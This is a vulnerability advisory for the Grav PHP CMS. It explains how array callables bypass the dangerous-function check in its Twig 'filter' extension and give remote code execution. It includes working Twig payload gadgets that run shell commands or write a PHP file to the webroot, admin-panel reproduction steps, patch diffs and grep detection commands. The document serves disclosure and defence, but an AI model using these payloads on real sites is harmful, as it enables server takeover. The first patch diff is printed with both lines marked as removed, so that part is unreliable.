Product Overview:
Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.
Vulnerability Summary:
There is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.
Vulnerability Details:
The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php:
~~~php
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
/**
* Return a list of all filters.
*
* @return array
*/
public function getFilters(): array
{
return [
...
// Security fix
new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
];
}
...
/**
* @param Environment $env
* @param array $array
* @param callable|string $arrow
* @return array|CallbackFilterIterator
* @throws RuntimeError
*/
function filterFilter(Environment $env, $array, $arrow)
{
if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]
throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
}
return \twig_array_filter($env, $array, $arrow); // [2]
}
} ~~~
At [1], the $arrow parameter contains the argument supplied to the filter. For example, it may refer to "funcname" in {{ array|filter("funcname") }} or the closure (a.k.a. arrow function) el => el != 'exclude' in {{ array|filter(el => el != 'exclude') }}. Observe that Utils::isDangerousFunction($arrow) is only invoked if $arrow is a string. As such, non-string arguments may be passed to twig_array_filter() at [2] due to the absence of type enforcement at [1].
The implementation of the twig_array_filter() function can be found in /src/Extension/CoreExtension.php within Twig's codebase:
~~~php
function twig_array_filter(Environment $env, $array, $arrow)
{
if (!twig_test_iterable($array)) {
throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
}
if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) { // [3]
throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
}
if (\is_array($array)) {
if (\PHP_VERSION_ID >= 50600) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [4]
}
return array_filter($array, $arrow);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
} ~~~
At [3], a runtime error is thrown if $arrow is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when $arrow is not a closure. Subsequently at [4], array_filter() is invoked with the user-controlled $array input and $arrow parameter.
Note that the method signature of array_filter() is as follows:
~~~php
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
~~~
A common mistake that developers make is assuming that the callable type refers to a string type. This is untrue, and it is well documented in the PHP Manual:
A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by either, passing the class name instead of an object at index 0, or passing
ClassName::methodName.
This means that all of the following method calls are valid: ~~~php // Type 1: Simple callback -- invokes system("id") array_filter(array("id"), "system");
// Type 2: Static class method call -- invokes Class::staticMethod($arg) array_filter(array($arg), array("Class", "staticMethod")); array_filter(array($arg), array("Class::staticMethod")); // same as above
// Type 3: Object method call -- invokes $obj->method($arg) array_filter(array($arg), array($obj, "method")); ~~~
Going back to [1], if $arrow is an array instead of a string or closure, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:
~~~twig
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\Grav\Common\Utils', 'arrayFilterRecursive') }}
// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"): {{ ['system'] | filter(['\Symfony\Component\VarDumper\VarDumper', 'setHandler'])}} {{ ['id'] | filter(['\Symfony\Component\VarDumper\VarDumper', 'dump']) }}
// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot: {{ (['rce.php'] | map(['\RocketTheme\Toolbox\File\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}
// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"): {{ {'/':'sleep 3'} | map(['\Symfony\Component\Process\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }} ~~~
Exploit Conditions:
This vulnerability can be exploited if the attacker has access to: 1. an administrator account, or 2. a non-administrator, user account that are granted the following permissions: - login access to Grav admin panel, and - page creation or update rights
Reproduction Steps:
- Log in to Grav Admin using an administrator account.
- Navigate to
Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:- Login to Admin - Allowed
- Page Update - Allowed
- Log out of Grav Admin, and log back in using the account created in step 2.
- Navigate to
http://<grav_installation>/admin/pages/home. - Click the
Advancedtab and select the checkbox besideTwigto ensure that Twig processing is enabled for the modified webpage. - Under the
Contenttab, insert the following payload within the editor: ~~~twig // Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"): {% set id = {'id': 0} %} {{ {'system': id} | filter('\Grav\Common\Utils', 'arrayFilterRecursive') }} ~~~ - Click the Preview button. Observe that the output of the
idshell command is returned in the preview.
Suggested Mitigations:
Patch the logic flaw in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php to ensure that the $arrow paramater passed to the filterFilter() function must either be a string or an arrow function as such:
~~~diff php
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
/**
* @param Environment $env
* @param array $array
* @param callable|string $arrow
* @return array|CallbackFilterIterator
* @throws RuntimeError
*/
function filterFilter(Environment $env, $array, $arrow)
{
- if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
- if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
}
return \twig_array_filter($env, $array, $arrow);} } ~~~
Utils::isDangerousFunction() in /system/src/Grav/Common/Utils.php should also be patched to prevent static class methods from being invoked. For example,
~~~diff php
...
abstract class Utils
{
...
/*
* @param string $name
* @return bool
/
public static function isDangerousFunction(string $name): bool
{
...
- if (is_array($name) || strpos($name, ":") !== false) {
- return false;
- }
if (in_array($name, $commandExecutionFunctions)) { return true; } if (in_array($name, $codeExecutionFunctions)) { return true; } if (isset($callbackFunctions[$name])) { return true; } if (in_array($name, $informationDiscosureFunctions)) { return true; } if (in_array($name, $otherFunctions)) { return true; } return static::isFilesystemFunction($name);} ... } ~~~
End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
1. Searching within Markdown pages using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/
2. Searching within Doctrine cache data using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
3. Searching within Twig cache using the following shell command:
grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/
4. Searching within compiled Twig template files using the following shell command:
grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/
Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
